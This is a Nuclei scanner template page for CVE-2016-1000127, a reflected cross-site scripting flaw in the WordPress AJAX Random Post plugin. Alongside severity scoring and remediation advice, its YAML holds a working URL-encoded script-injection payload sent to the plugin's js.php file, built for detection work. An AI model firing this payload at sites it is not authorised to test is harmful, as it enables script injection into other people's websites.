WordPress AJAX Random Post <=2.00 - Cross-Site Scripting

ID: CVE-2016-1000127

Severity: medium

Author: daffainfo

Tags: cve2016,cve,wordpress,xss,wp-plugin,ajax-random-post_project

Description

WordPress AJAX Random Post 2.00 is vulnerable to reflected cross-site scripting.

YAML Source

id: CVE-2016-1000127

info:
  name: WordPress AJAX Random Post <=2.00 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress AJAX Random Post 2.00 is vulnerable to reflected cross-site scripting.
  impact: |
    This vulnerability allows an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of the WordPress AJAX Random Post plugin (2.00 or higher) to fix this issue.
  reference:
    - http://www.vapidlabs.com/wp/wp_advisory.php?v=494
    - https://wordpress.org/plugins/ajax-random-post
    - https://nvd.nist.gov/vuln/detail/CVE-2016-1000127
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2016-1000127
    cwe-id: CWE-79
    epss-score: 0.00119
    epss-percentile: 0.46028
    cpe: cpe:2.3:a:ajax-random-post_project:ajax-random-post:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: "ajax-random-post_project"
    product: "ajax-random-post"
    framework: wordpress
  tags: cve2016,cve,wordpress,xss,wp-plugin,ajax-random-post_project
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/ajax-random-post/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Ajax Random Post'

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/ajax-random-post/js.php?interval=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100a310762801d40e31ddb649c571024ed527ab162318121e4a856628281578e25a022100b3b856b136cb31e62a7c706d1d703bf4215b5fe1d1736fc5c402febde3930f39:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2016/CVE-2016-1000127.yaml"

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